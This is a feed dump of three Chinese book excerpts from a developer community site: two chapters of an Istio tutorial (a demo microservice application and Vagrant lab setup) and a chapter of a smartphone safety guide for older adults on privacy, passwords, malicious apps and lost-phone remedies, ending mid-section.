        为了充分展示Istio的功能,我们使用不同的语言来模拟数个微服务,服务之间存在相应的调用关系,服务之间通过HTTP协议通信。我们并没有写一个实际的综合应用,例如:购物网站、论坛等,来模拟生产环境的情况,我们只是简单地模拟服务间的调用关系来进行Istio相关的功能实验,目的是通过演示Istio相关功能来学习Istio。每个服务以其使用的编程语言为服务名,例如:使用Python语言编写的服务命名为service-python。各服务的调用关系如图2-1所示。
        service-js服务是一个由Vue/React实现的前端应用,当用户访问前端Web页面时,用户会看到一个静态页面。当用户点击相应的按钮时,前端页面会通过浏览器异步请求后端service-python服务提供的API接口,service-python调用后端service-lua服务和service-node服务,而service-node服务又会调用service-go服务,最终,所有服务配合来完成用户的请求,并把结果合并处理之后发送给前端浏览器。当前端页面收到请求的响应数据时会渲染出新的页面呈现给用户。

        image.png

        应用架构说明:

        • 本应用采用当前比较流行的前后端分离架构。
        • 前端项目使用Vue/React实现。
        • 前端调用Python实现的API接口。
        • Python服务调用后端Node实现的服务和Lua实现的服务。
        • Node服务调用Go实现的服务。

        2.2.2 应用详细说明

        1. service-js服务
        service-js服务分别使用Vue和React各实现一套Web界面,主要用于服务路由中的A/B测试,可以让不同的终端用户看到不同的前端Web界面。service-js服务主要负责根据service-python服务的响应数据,使用ECharts图表库在浏览器上展示出后端服务的具体调用关系和各个服务的调用耗时,具体的代码在实验源码根目录的service/js目录下。
        v1版本使用React框架实现,源码目录如下:
        .
        ├── Dockerfile
        ├── package.json
        ├── package-lock.json
        ├── public
        │ ├── favicon.ico
        │ ├── index.html
        │ └── manifest.json
        ├── README.md
        └── src

        ├── App.css
        ├── App.js
        ├── App.test.js
        ├── index.css
        ├── index.js
        ├── logo.svg
        └── registerServiceWorker.js

        v2版本使用Vue框架实现,源码目录如下:
        .
        ├── build
        │ ├── build.js
        │ ├── check-versions.js
        │ ├── logo.png
        │ ├── utils.js
        │ ├── vue-loader.conf.js
        │ ├── webpack.base.conf.js
        │ ├── webpack.dev.conf.js
        │ └── webpack.prod.conf.js
        ├── config
        │ ├── dev.env.js
        │ ├── index.js
        │ └── prod.env.js
        ├── Dockerfile
        ├── index.html
        ├── package.json
        ├── package-lock.json
        ├── README.md
        ├── src
        │ ├── App.vue
        │ ├── assets
        │ │ └── logo.png
        │ ├── components
        │ │ └── HelloWorld.vue
        │ └── main.js
        └── static
        用于容器化的Dockerfile文件如下所示:

        image.png

        2. service-python服务
        service-python服务是一个用Python编写的API服务,负责接收前端的API请求,调用整合后端其他服务的响应数据,返回给前端使用。service-python服务分别使用Python2和Python3实现了两个版本的服务,具体代码在实验源码根目录的service/python目录下。service-python服务使用Flask框架实现,具体源码如下:

        image.png
        image.png

        第11~28行定义的getForwardHeaders函数是为了从请求中提取出用于Istio调用链追踪的头信息,用于传递给service-python要调用的其他后端服务。
        第31~33行表示每个请求在被处理前,调用getForwardHeaders函数,从请求中提取出Istio调用链追踪的头信息,并保存到全局对象g的forwardHeaders变量中。
        第36~46行定义了用于获取后端服务响应数据的get_url_response函数。
        第49~63行定义了真正的业务路由,使用线程池的方式并发请求后端服务,并把后端服务的响应数据组合处理后返回给调用方。
        第66~68行定义了用于服务健康检查的路由。
        第71~72行表示服务启动在0.0.0.0地址的80端口。
        v1版本和v2版本源码只有第61行有略微差别,在v2版本中"python v1"修改为"python v2"。
        用于容器化的Dockerfile文件如下所示:

        image.png
        image.png

        v1版本和v2版本的Dockerfile只有使用的基础镜像版本不同,其他保持一致。
        3. service-lua服务
        service-lua服务使用OpenResty的不同版本用Lua语言分别实现了两个版本的服务。具体的代码在实验源码根目录的service/lua目录下。源代码如下:

        image.png

        第8行表示服务启动在0.0.0.0地址的80端口。
        第9~14行定义了访问服务的/链接时返回"hello world"。
        第16~21行定义了用于服务健康检查的/status链接。
        第23~37行定义了真正的业务逻辑,当访问/env链接时,响应服务的版本信息。
        v1版本和v2版本源码只有第30行有略微差别,在v2版本中"lua v1"修改为"lua v2"。
        用于容器化的Dockerfile文件如下所示:

        image.png

        v1版本和v2版本的Dockerfile只有使用的基础镜像版本不同,其他保持一致。
        4. service-node服务
        service-node服务使用Node的不同版本分别实现了两个版本的服务。具体的代码在实验源码根目录的service/node目录下。源代码如下:

        image.png
        image.png

        第8~28行定义的getForwardHeaders函数是为了从请求中提取出用于Istio调用链追踪的头信息,用于传递给service-node要调用的其他后端服务。
        第32~34行定义了用于服务简单健康检查的路由。
        第36~63行定义了真正的业务路由,请求后端服务,并把后端服务的响应数据组合处理后返回给调用方。
        第65~66行表示服务启动在0.0.0.0地址的80端口。
        v1版本和v2版本源码只有第54和59行有略微差别,在v2版本中"node v1"修改"node v2"。
        用于容器化的Dockerfile文件如下:

        image.png

        v1版本和v2版本的Dockerfile只有使用的基础镜像版本不同,其他保持一致。
        5. service-go服务
        service-go服务使用Go语言的不同版本分别实现了两个版本的服务,具体的代码在实验源码根目录的service/go目录下。源代码如下:

        image.png


        第10~14行定义了真正的业务路由,以及返回服务的版本信息。
        第16~18行定义了用于服务健康检查的路由。
        第20行表示服务启动在0.0.0.0地址的80端口。
        v1版本和v2版本源码只有第12行有略微差别,在v2版本中"go v1"修改为"go v2"。
        用于容器化的Dockerfile文件如下:

        image.png
        image.png

        你可能已经注意到,上面的Dockerfile代码使用了两次FROM关键词和一个不太一样的COPY用法,这体现了Docker镜像的多阶段构建功能,可以在一个镜像中编译代码,然后复制编译后的产物到另一个镜像中,这样可以非常有效地减小应用的Docker镜像大小,特别是Go、Java这类编译型静态语言,因为这类语言编译之后就不再需要原来编译时的依赖库,可以把编译后的产物直接放在一个极小运行环境中启动运行。由于Go语言可以编译为在操作系统上直接运行的二进制文件,所以可以把编译后的文件直接复制到alpine这类极简的操作系统镜像中,这种优化使得service-go服务编译构建后的镜像体积可缩小到10M级别,进而使服务镜像的分发效率大幅度提升。
        v1版本和v2版本的Dockerfile只有使用的基础镜像版本不同,其他保持一致。
        6. service-redis服务
        service-redis服务是使用Go语言实现的服务,用于从Redis服务器获取信息,具体的代码在实验源码根目录的service/redis目录下。源代码如下:

        image.png
        image.png

        第23~29行定义了真正的业务路由,以及返回Redis服务器的信息。
        第30~32行定义了用于服务健康检查的路由。
        第33行表示服务启动在0.0.0.0地址的80端口。
        用于容器化的Dockerfile文件如下:

        image.png

        7. httpbin服务
        httpbin服务是一个用于HTTP测试的开源服务。它既提供了在线的测试服务,也可以通过源码或者使用Docker镜像在本地部署运行,这两种使用方式在后续章节的实验中都有涉及。

        2.3 应用的构建

        如果只是跟着本书做实验,本节可以跳过,本节属于应用镜像构建部分,不会影响后面的Istio实验。了解本节内容需要掌握Docker的基础知识。
        由于本书的实验重点在于如何使用Istio,如何使用本地Docker私有镜像仓库部署服务并不是我们关注的重点,所以本书实验所使用的镜像均采用阿里云镜像服务免费提供的镜像构建功能。当然,你也可以使用Docker Hub提供的镜像构建功能。下面以阿里云镜像服务为例实现镜像构建,具体步骤如下。
        1.构建应用镜像
        (1)上传代码到GitHub
        此步骤不做详细说明,请参考相关文档了解Git和GitHub的基本使用。
        (2)在阿里云上的镜像构建
        阿里云镜像服务地址:https://cr.console.aliyun.com/ ,如下操作均在这个链接的Web上进行。
        1)创建命名空间。
        命名空间不能重复,请注意修改命名空间名称,如图2-2所示,可创建名为istio-lab的命名空间。

        image.png

        2)创建镜像仓库。
        选择命名空间为上个步骤中创建的命名空间,填写要创建的镜像仓库名和简介,如service-go。注意选择仓库类型为公开,如图2-3所示。
        选择已经绑定的GitHub账号和要构建的源码仓库,由于构建时需要访问国外资源,因此勾选使用海外机器构建,并取消“选择代码变更时自动构建镜像”(如果首次使用需要先绑定GitHub账号),如图2-4所示。

        image.png

        3)添加镜像构建规则。
        选择要构建规则的镜像仓库,并点击“管理”按钮,出现如图2-5所示的界面。

        image.png

        选择“构建”选项卡上的“添加规则”按钮,添加镜像构建规则,如图2-6所示。

        image.png

        添加如图2-7所示的版本构建规则,实验中会使用两个版本,因此需要创建两个版本的构建规则。

        image.png

        4)构建镜像。
        点击“立即构建”按钮开始构建,如果构建失败,可以通过点击日志链接查看构建日志,找出失败原因,如图2-8所示。

        image.png

        2. 本地拉取镜像验证
        镜像构建完成后,拉取到本地测试镜像是否能正常工作。具体步骤如下。
        1)拉取镜像:
        image.png

        2)启动容器:
        image.png

        3)访问测试:
        image.png

        4)清理:
        image.png

        2.4 本章小结

        要掌握Istio,我们需要一步一步地实验Istio的功能特性,所以我们先创建一个实验环境,而实验时最有可能遇到的问题就是实验环境的机器性能不足,进而出现Istio路由功能生效缓慢,甚至导致后续实验失败的问题,这也是我们需要特别关注的。我也在本章中说明了这种情况,并介绍了几种解决方法。为了更好地模拟生产环境中多服务调用的场景,我使用多种编程语言实现了多个服务的不同版本,这也能帮助我们在后续章节更好地展示Istio的相关功能特性。

        ]]>
        带你读《Istio入门与实战》之三:使用Vagrant管理虚拟机-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 点击查看第一章
        点击查看第二章

        第3章

        使用Vagrant管理虚拟机
        本章主要介绍如何使用Vagrant管理虚拟机,为了保持实验环境的一致性,并能快速创建恢复实验环境,本章会介绍Vagrant的简单使用方式,并模拟实验时的操作步骤来使用Vagrant。借助Vagrant,我们可以更方便地管理Istio实验环境,这种快速创建实验环境的能力大大地减少了我们实验前的环境准备时间。

        3.1 Vagrant简介

        Vagrant是一款用于构建及配置管理虚拟机环境的开源软件,使用Ruby语言开发,主要以命令行的方式运行。Vagrant使用Oracle的开源VirtualBox虚拟化系统,与Chef、Salt、Puppet等环境配置管理软件搭配使用,使用方便且自动化程度很高。使用Vagrant可以快速构建出虚拟机环境,这将大大降低开发者创建新开发环境的难度,并减少开发时间。Vagrant还支持创建虚拟机集群,可以快速搭建出一个用于开发和实验的虚拟机集群环境。虽然Vagrant可用于云环境的虚拟机管理,但是生产环境应用不多,仍以开发环境使用场景居多。
        使用Vagrant很简单,只需要配置好文件,就可以快速重建出一个可移植的工作环境,而这个功能正好可以帮助我们快速重建出一个虚拟机实现环境,帮助我们快速上手Istio,而不用于陷于实验前期的环境准备过程中可能遇到的各种棘手问题。基于这个理由,本书选择了使用Vagrant和Virtualbox快速搭建实验环境。当然,如果你对Vagrant感兴趣,想进一步了解Vagrant的使用方法,可以查阅Vagrant的官方文档。

        3.2 Vagrant常用命令

        注意事项:由于默认情况下,Vagrant会把临时文件和Box文件存放在用户主目录里。如果Box文件过大,会导致占用过大空间,可以通过设置环境变量VAGRANT_HOME来设定Vagrant的主目录路径。Vagrant默认设置的主目录为用户主目录的.vagrant.d文件夹。本次实验时把此环境变量设置为D:vagranthome,关于各个操作系统的环境变量的设置,请查阅相关文档。
        1. 基本命令
        基础命令总览:

        • box add:导入box
        • box list:查看box
        • box remove:删除box
        • init:初始化
        • up:启动
        • status:查看状态
        • ssh:SSH连接
        • reload:重载
        • halt:关闭
        • suspend:暂停
        • destroy:删除

        下面举例说明这些命令的使用方法。
        (1)导入Box
        导入已经下载的Box命令如下:

        image.png

        /f/vagrant/box/centos-7.4-base.box表示Box的路径地址,这是由于使用了Git Bash的路径表示方法。如果使用CMD命令行,使用F:/vagrant/box/centos-7.4-base.box即可。此处使用的Box从第2章“实验说明”中提供的百度云盘链接上下载。
        (2)查看Box
        查看可用的Box如下所示:

        image.png

        (3)删除Box
        删除不再使用的Box如下所示:

        image.png

        (4)初始化
        初始化虚拟机如下所示:

        image.png

        查看未被注释配置文件内容:

        image.png

        (5)启动
        启动虚拟机如下所示:

        image.png
        image.png

        (6)查看状态
        查看虚拟机状态如下所示:

        image.png

        (7)SSH连接
        注意,如果Windows下使用Git Bash时无法使用SSH连接虚拟机,可以尝试使用系统自己带的命令行工具CMD连接虚拟机:

        image.png
        image.png

        (8)重新
        当我们编辑当前文件夹下的虚拟机配置文件Vagrantfile后,可以使用reload命令重载虚拟机,使配置生效。比如添加设置主机名的配置:

        image.png

        重载使配置文件生效:

        image.png
        image.png

        (9)关闭
        关闭虚拟机如下所示:

        image.png

        (10)暂停
        由于上一步骤关闭虚拟机,执行本步骤时需要先启动虚拟机,然后再暂停虚拟机:

        image.png

        (11)删除
        删除虚拟机的命令如下所示:

        image.png

        1. 使用虚拟机快照命令
          虚拟机快照命令如下:
        • save:保存虚拟机快照。
        • list:查看虚拟机快照。
        • restore:用快照恢复虚拟机。
        • delete:删除虚拟机快照。

        进行如下快照的相关操作时,需要先创建虚拟机并启动虚拟机。
        保存虚拟机快照示例:

        image.png

        查看虚拟机快照示例:

        image.png

        用快照恢复虚拟机示例:

        image.png
        image.png

        删除虚拟机快照示例:

        image.png

        3.3 模拟实验时的场景

        由于后续实验时使用三台虚拟机进行实验,在实验时,不可避免地会使用Vagrant管理虚拟机环境,包括初始化创建虚拟机,启动虚拟机,连接并登录到虚拟机环境,保存实验环境,以及快速恢复实验环境等。本节会模拟后续实验场景用到的步骤,方便你熟悉整个实验环境管理的流程。
        1. 初始化虚拟机集群
        (1)创建虚拟机配置文件
        创建名为istio的目录,并把如下的配置文件写入istio目录的Vagrantfile文件:

        image.png
        image.png

        第5行表示创建三台虚拟机。
        第7行表示使用名为"centos-7.4-base"的box。
        第9行表示不自动生成新的ssh key,使用Vagrant默认的ssh key注入到虚拟机中,这么做主要是为了方便登录。不用为每台虚拟机设置ssh key登录。
        第10行设置3台虚拟机主机名分别为lab1、lab2、lab3。
        第12行设置3台虚拟机的私有网络为11.11.11.111、11.11.11.112、11.11.11.113。
        第14~15行表示当虚拟机启动完成之后,执行inline中配置的shell命令,此命令用于开机之后的时间同步。
        第17~18行表示当虚拟机启动完成之后,执行inline中配置的shell命令,此命令用于输出测试字符串。
        第21~22行设置虚拟机的CPU核心数和内存大小,本次实验设置为每台虚拟机2核2G内存,可以根据自己电脑的实际情况适当加大。
        上面的虚拟机集群配置文件,也是我们后续实验时所使用的虚拟机环境配置文件。
        (2)启动虚拟机集群
        如果启动不成功,请调整上一步骤中配置文件时CPU和Memery相关的配置。还需要确保虚拟机目录D:virtualbox中没有和此次实验中创建的同名的虚拟机目录(lab1、lab2、lab3)存在。代码如下:

        image.png
        image.png

        (3)查看虚拟机状态
        代码如下:

        image.png

        2. 连接虚拟机集群
        1)使用Xshell导入vagrant的密钥。密钥存储在VAGRANT_HOME环境变量里指定目录的insecure_private_key文件中,添加该密钥到Xshell中。选择顶部菜单中“工具”菜单的“用户密钥管理者”,在弹出的对话框中点击“导入”按钮,选择insecure_private_key文件即可完成密钥的导入,如图3-1所示。
        2)使用Xshell创建新的会话。
        选择顶部菜单中“文件”菜单的“新建”,创建连接到三台虚拟机的会话。实验中配置的三台虚拟机IP地址分别为11.11.11.111、11.11.11.112、11.11.11.113,ssh端口为22,如图3-2所示。

        image.png

        image.png

        认证方式选择Public Key,用户名为vagrant,用户密钥选择insecure_private_key,如图3-3所示。

        image.png

        3)Xshell连接测试。
        测试结果如下所示,表明实验环境创建正确,可以在Xshell继续添加lab2、lab3虚拟机的SSH连接。
        image.png
        image.png

        3. 暂停实验环境虚拟机
        当我们的实验进行到一定步骤后,可能需要暂停,换个时间再次进行实验。这个时候我们可以直接暂停整个实验环境中的所有虚拟机,等下次再进行实验时,直接恢复之前的环境即可,非常方便。
        暂停集群中所有虚拟机如下所示:
        image.png

        暂停集群中单个虚拟机如下所示:
        image.png

        恢复集群中所有虚拟机如下所示:
        image.png
        image.png

        恢复集群中单个虚拟机,使用resume和up都能恢复暂停的虚拟机:
        image.png

        4. 保存与恢复实验环境
        完成前面的步骤后,我们的实验虚拟机环境就已经基本搭建完成了。之后我们可以安装Docker、Git、Wget等基础软件。安装之后保存实验环境,之后实验不成功或者实验环境被污染,可以快速恢复到当前的实验环境。
        保存集群中所有虚拟机快照:
        image.png

        保存集群中单个虚拟机快照:
        image.png

        删除集群中所有虚拟机快照:
        image.png

        删除集群中单个虚拟机快照:
        image.png

        查看集群中所有虚拟机快照:
        image.png

        查看集群中单个虚拟机快照:
        image.png

        恢复集群中所有虚拟机快照:
        image.png

        恢复集群中单个虚拟机快照:
        image.png
        image.png

        在使用Vagrant时,可能会出现偶发的异常错误,大部分情况下,重启电脑即可解决。

        3.4 本章小结

        通过使用Vagrant,我们可以更快速地创建Istio的实验环境,这将大大节省我们创建实验环境的时间。当我们的实验环境被污染时,也可以使用Vagrant快速恢复到之前的实验环境,这也使得我们可以重复验证Istio功能,并节省了重复准备实验环境的时间,大大提升了实验效率。

        ]]>
        带你读《中老年人学智能手机应用全攻略》之一:安全放心地使用手机-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 中老年人学智能手机应用全攻略:视频图文版
        点击查看第二章
        点击查看第三章
        image.png
        王岩 等 编著

        第1章 安全放心地使用手机

        内容摘要

        随着科技的不断发展,智能手机已经深入到日常生活的各个层面。特别是在移动支付的推动下,手机与钱的关系越来越紧密,用手机消费、转账和理财已经成为常态。手机一旦出现安全问题,损失程度往往很难估量。
        在各种媒体上,经常能看到因为手机导致财产损失的报道。我们不能看到几个特殊案例就认定手机和移动支付是不安全的,但是也不能认为报道中的事件完全与自己无关。为了让大家更全面地了解手机安全,本章将手机用户普遍关注的几个话题汇总起来,系统介绍一下手机上的不安全因素和防范手段,让您安全放心地使用手机。

        1.1保护隐私和信息安全

        安全使用手机的前提是具备一定的自我防范意识,在日常生活和使用手机时,避免主动泄露个人隐私和个人信息。个人隐私指的是手机上的照片、视频、通信记录、电子邮件等不愿意让别人看到的信息。这些信息如果外泄,轻则会被窃取者贩卖或者发布到网络上,重则还会受到不法分子敲诈勒索。
        与个人隐私同样重要的是个人信息。个人信息是指姓名、住址、身份证号码、银行账号和密码等用来识别个人身份的信息。在银行取款机、POS机、手机等收付款工具的眼中,这些个人信息是区分用户的主要依据。换句话说,谁知道账号和密码,谁就是银行卡和手机钱包的拥有者和支配者,如图1-1所示。特别是在移动支付方面,其独有的便捷性和远程性,以及二维码支付的隐蔽性都给别有用心的人留下了可乘之机,如图1-2所示。

        image.png


        图1-1 输入支付密码即可转账付款

        image.png


        图1-2 付款二维码极易被伪装和更换

        在大数据时代的背景下,绝对的个人信息隐私已经不复存在。我们登录过哪些网站,看过哪些新闻和电影、网购过哪些东西,这些信息都被一台台服务器收集起来,然后汇入到数据汪洋中进行统计和分析。即便是个人信息的主动提交,很多时候也是不可避免的。比如填写快递单据需要提交姓名、住址、手机号码等信息,办理会员卡需要提供身份证号码等,没有人能保证这些信息不被个别人窃取并倒卖。
        好在零散的信息并不会对个人财产造成直接威胁。熟悉移动支付的读者应该知道,作为手机钱包的最后一道安全屏障,要想重置支付密码,必须提供银行卡号、开户者姓名、身份证号和预留手机号码,如图1-3所示。我们能做的就是尽可能避免这些关键信息的外泄,不让别人将所有关键信息收集齐全。
        image.png

        图1-3 重置支付密码所需的信息

        要想保护手机上的个人隐私信息,我们需要从信息泄露的源头入手。有些信息是个人在不经意间泄露出去的,比如说在朋友圈展示包含驾驶证、快递单、飞机票的照片,别人很容易就能把这些信息与你的个人资料对应起来。在街头、地铁站里扫二维码(简称为“扫码”)或填写手机号领取小礼物,随之而来的往往是持续的电话推销和短信骚扰,而且这些资料有很大概率会被打包倒卖,成为他人牟利和电信诈骗的工具。
        信息泄露的第二个源头是手机应用过度收集,或者是信息被手机上的恶意应用窃取。在这方面,普通用户很难防范,因为手机应用过度收集信息已经成为一种普遍现象。虽然每个应用都在协议中声明收集信息的目的是为了更好地服务用户,并且保证这些信息的安全,如图1-4所示。但现实情况是,在黑客们的眼中,服务器里的海量信息更有攻击的价值,由此造成的大规模数据泄密事件几乎从未停止过。我们唯一能做的是,只在正规的应用商店下载手机应用,同时不要使用过于冷门和要求填写大量个人资料的应用。
        image.png

        图1-4 应用权限列表

        第三个信息泄露的源头是手机丢失和出卖废旧手机。为了避免这类情况,平时不要在手机上保存身份证、银行卡等包含重要信息的文件和照片,即便工作和办事需要,使用完毕后也要及时删除。同时还要充分利用手机的安全防护功能,为手机和移动支付应用设置足够安全的锁屏密码和支付密码,如图1-5所示;微信、支付宝和手机银行可以添加应用锁,如图1-6所示,个人隐私信息尽量放在加密相册或隐私文件夹中。这些防护手段的设置方法会在后面的内容中详细介绍。

        image.png

        图1-5 为移动支付应用设置安全锁

        image.png

        图1-6 为涉及隐私的应用设置应用锁

        1.2合理设置手机密码

        密码锁是保护手机钱包和个人隐私信息安全的重要手段,以锁屏密码为例,常用密码锁有四位数字密码(见图1-7)、混合密码、图案密码、指纹密码和面部识别。如果从安全层面进行比较,混合密码的安全级别最高,接下来依次是图案密码、四位数字密码、指纹密码和面部识别。
        混合密码是由数字、字母和字符共同组成的密码,如图1-8所示。与很多人认为的不同,混合密码不是越复杂越好。因为太复杂的密码会让人难以记忆,为了记住密码,大多数人都会使用姓名拼音和生日数字的组合。

        image.png


        图1-7 四位数字密码容易被破解

        image.png


        图1-8 混合密码不方便输入

        这种密码表面上看起来很保险,问题是太多人使用相同的套路设置密码,于是就产生了专门针对这种漏洞的破解算法。要想让密码安全又好记,最好使用比较长的短语,不用包含特殊符号和数字。类似“buyaopojiewodeshouji”这样的密码可能要花上好几年的时间才能被程序破解出来,而“zgf@850721”这样的密码或许几分钟就被解开了。
        混合密码很安全,但是输入起来非常麻烦,四位数字密码又太容易被破解了。于是很多手机用户选择了既能增加密码长度,又便于记忆和输入的图案密码,如图1-9所示。图案密码和数字密码的原理相同,图案上的9个点代表9个数字。假设我们画一个正方形作为锁屏密码,转换成数字就是12369874。
        image.png

        图1-9 图案密码便于输入和记忆

        作为生物特性识别技术,指纹密码和面部识别具有唯一性和不变性的特点,如图1-10所示。虽然在各种媒体时上偶尔能看到这类技术被破解的报道,但是破解的过程都是在很多先决条件下完成的,而且破解成本很高。对于普通用户来说,除了担心家人趁你不备时解锁手机以外,基本不用担心指纹和脸被仿冒的问题。
        image.png

        图1-10 检测人脸特征差异的面部识别技术

        之所以将指纹密码和面部识别的安全性排在最后,根本的原因是这两种解锁方式无法独立存在。为了防止解锁模块损坏后用户无法打开手机,开启指纹密码或面部识别功能前先设置数字密码或图案密码,只要连续进行几次错误的解锁,就能绕过指纹密码和面部识别,直接进入密码输入界面。
        当然,手机不是保险箱,在考虑安全的同时也要兼顾人机交互时的便利性。现在比较公认的手机密码设置方式是分级管理,也就是将密码划分为核心、重要和次要三类分别设置。
        核心密码
        重要的核心密码就是锁屏密码,因为它是保护个人隐私信息和财产的第一道屏障。只要手机上具有指纹解锁或面部识别功能,那么尽可放心使用,最关键的步骤是要合理地设置基础密码。基础密码最好使用混合密码或者是图案密码,密码越长,破解的成本也就越大。需要注意的是,尽量不要使用111111、112233、123456、654321、666666这样的简单密码,因为每个试图破解锁屏密码的人都会用这些数字碰碰运气。只要基础密码足够安全,那么平时你可以使用指纹解锁或面部识别非常快捷地解锁手机,即使别人试图绕过生物识别设备,仍然要面对不容易破解的基础密码,如图1-11所示。
        其余的核心密码还有手机钱包的支付密码,苹果手机用来找回ID账号的邮箱密码,以及手机设置中的用户账号密码,比如小米账号(见图1-12)、华为账号等。后两种密码关系到忘记锁屏密码或者是重新刷机后能否继续使用手机。大多数核心密码平时很少使用,因此很容易忘记。如果你对自己的记忆里没有足够的信心,最好用本子记下来放在家里,不要轻易示人。

        image.png


        图1-11 基础密码最好使用混合密码

        image.png


        图1-12 手机用户账号

        重要密码
        重要密码针对的是涉及财产和个人隐私的应用,例如为支付宝和微信钱包设置的手势密码,为手机相册或网盘添加的应用锁密码。这类密码虽然会牺牲一定的便捷性,但是遇到手机丢失、被人偷窥了锁屏密码等意外情况时,多一道防线就能为补救过程争取一些时间。设置重要密码时需要注意两点:首先不能使用简单密码,其次不能和锁屏密码重复。
        次要密码
        其余的应用可以直接使用手机号码或者通过微信账号授权登录,并且设置统一的密码。因为大多数手机应用都会自动登录,在手机解锁的前提下,这类密码基本不具备防范功能。

        1.3彻底远离手机病毒

        提起手机病毒,很多朋友就会联想到肆虐一时的电脑病毒。如果严格按照定义理解,现在的安卓和iOS系统上并不存在同时具有繁殖性和破坏性的程序,那些在手机上窃取信息和账号、不断推送广告、后台下载应用、甚至锁定屏幕勒索用户的App有个更贴切的叫法——手机恶意应用。
        除了手机恶意应用以外,同样困扰手机用户的还有手机流氓应用。手机流氓应用虽然没有多少破坏性,但是具有难以卸载、强行捆绑其他应用、恶意收费和过度收集信息等特点。要想彻底防范手机恶意应用和流氓应用,我们先了解它们进入手机的途径。
        从非正规渠道下载
        手机恶意应用的制作者主要通过SDK代码集成和应用二次打包的方式将恶意代码嵌入到流行应用中,然后把这些“山寨”应用散布到应用下载网站
        (见图1-13)、论坛和网盘中等待人们自己下载安装。为了吸引用户下载,这些手机恶意应用通常会披上破解版或色情的外衣。
        ROM内置
        ROM内置的情况主要出现在二手手机和廉价手机上,这些手机在出售前就已经被安装了恶意应用。比如,可以在后台刷新视频和新闻流量StealthBot木马就被预装在20多个小众品牌的手机上。
        扫描二维码下载
        随着移动支付的普及,二维码逐渐成为手机恶意应用的重要传播途径。由于二维码的隐蔽性强,扫描二维码便可以自动下载,所以更不容易防范。

        image.png


        图1-13 隐藏网盘中的山寨应用

        image.png

        通过短信链接下载
        电子邮件和短信也是传播恶意应用的途径之一。有些包含蠕虫程序的应用还能读取手机上的通讯录,然后给所有联系人群发带有恶意应用下载链接的短信,如图1-14所示。
        了解了恶意应用的传播途径后,自然就能找到应对的方法。用一句话概括就是:不买山寨手机、谨慎扫描二维码、只从手机自带的应用商店下载。

        image.png


        图1-14 短信中的恶意应用下载链接

        如果你在使用手机的过程中发生下列现象,就要警惕手机中是否安装了恶意应用。

        • 安装完应用后桌面上没出现图标,或者在没下载的情况下手机反复提示安装新应用。
        • 打开新安装的应用被要求填写身份证、银行卡号等信息。
        • 收不到短信通知提示或者收到短信时黑屏。
        • 桌面频繁弹出广告或锁屏密码被更换。

        手机上安装了恶意应用,应该第一时间开启飞行模式并断开网络(见图1-15),暂时避免信息泄漏,然后用手机自带的安全应用查杀(见图1-16)。多数手机恶意应用没有传说的那么顽固,只要安全应用能够发现和卸载,基本上就无大碍。

        image.png


        图1-15 开启飞行模式并关闭网络

        image.png


        图1-16 用安全应用查杀

        如果查杀后问题依旧,我们就要在手机设置中本地备份系统数据(见
        图1-17),备份完成后恢复出厂设置(见图1-18)。个别情况下恢复出厂设置仍旧无法彻底清除恶意应用,例如手机ROM中被内置了恶意应用或者恶意应用具有提升权限的能力,这时只能到手机的官方网站下载线刷工具,然后用电脑重新刷机。

        image.png


        图1-17 本地备份数据

        image.png


        图1-18 恢复出厂设置

        1.4手机丢失的补救措施

        万一手机丢失了,捡到手机的人是不是就能获取到我们的个人信息并且将手机里的财产一扫而空呢?梳理一下媒体的相关报道就能发现,因手机丢失造成财产损失的事例主要有以下两种情况:

        • 失主的手机没有设置锁屏密码,并且在相册或短信中保存了身份信息。
        • 手机设有锁屏密码而且没有保存身份信息,手机里的钱仍然被划走。

        第一情况是失主疏忽大意造成的,与手机和移动支付的安全性无关,我们要关注的是第二种情况是怎么发生的。捡到手机的人要想获取信息并转移财产,首先要过锁屏密码这一关。你可以假设一下,如果忘记了锁屏密码,自己会怎么做。大多数人首先会用常见的密码组合或图案碰一下运气,当多次尝试失败导致手机被时间锁定后,就会把手机连接到电脑上,尝试用软件读取信息或解除锁屏,如图1-19所示。只要手机没有Root(通过刷机或安装应用获取最高管理权限),并且密码设置的足够安全,那么就只能在Recovery模式下恢复出厂设置(见图1-20)。这样一来,手机上的资料和数据就被清空了。

        image.png


        图1-19 多次输入错误密码会锁定手机

        image.png


        图1-20 Recovery模式恢复出厂设置

        如果捡到手机的人只想转移财产,还可以把手机卡插到另一部手机上,然后就可以用手机号码登录支付宝,用短信找回密码。只要身份证或银行卡没有一起丢失,那么在支付密码的保护下,手机钱包暂时还是安全的。万一手机丢失了,我们需要通过以下补救措施减小损失。
        冻结移动支付账户
        发现手机丢失后,第一时间用另一部手机登录支付宝,点击【我的】→【设置】→【安全设置】,继续点击【安全中心】-【挂失账号】,如图1-21所示。

        image.png


        图1-21 冻结支付宝账户

        冻结微信账号的方法是点击【我】→【设置】→【账号与安全】,继续点击【微信安全中心】→【冻结账号】,如图1-22所示。

        image.png


        图1-22 冻结微信账号

        办理手机卡
        接下来持身份证到就近的营业厅办理补卡业务,补办新卡后原卡立即作废,这样捡到手机的人就收不到验证短信了。如果无法及时补卡,可以拨打运营商的服务电话申请紧急停机。需要注意的是,无论办理紧急停机,还是在外地丢失手机后异地补卡,都必须提供六位数字的服务密码,忘记的话只能在开户地营业厅凭身份证重置服务密码。
        解绑并挂失银行卡
        如果银行卡和手机一起丢失,就要在支付宝中点击【我的】→【银行卡】,点击绑定的银行卡后点击右上角的按钮,最后点击【解除绑定】,如图1-23所示。
        image.png

        图1-23 在支付宝中解绑银行卡

        在微信中点击【我】→【支付】→【钱包】,点击【银行卡】后点击绑定的银行卡,继续点击右上角的…按钮,最后点击【解除绑定】,如图1-24所示。
        通知亲朋好友
        如果你怀疑丢失手机里的个人信息已经泄露,别忘了通知熟悉的亲朋好友,以免他们遭遇电信诈骗。还要提醒的是,联系人最好不要直接使用“爸爸”“女儿”等称呼,以免给骗子留下可乘之机。
        image.png

        图1-24 在微信支付中解绑银行卡

        使用手机查找服务
        各大手机厂商都提供了手机查找服务,如果手机丢失的时间不长,可以用另一部手机或者在电脑上登录手机查找服务网站,然后就能在地图上定位手机,或者远程擦除手机上的所有数据。手机查找服务的使用方法会在下一章中详细介绍。

        1.5手机充电的常见误区

        网络上有很多关于手机充电的说法,这些说法有的正确、有的错误。本节就为你介绍一下正确的手机充电方法和常见的一些误区。
        影响电池寿命的因素
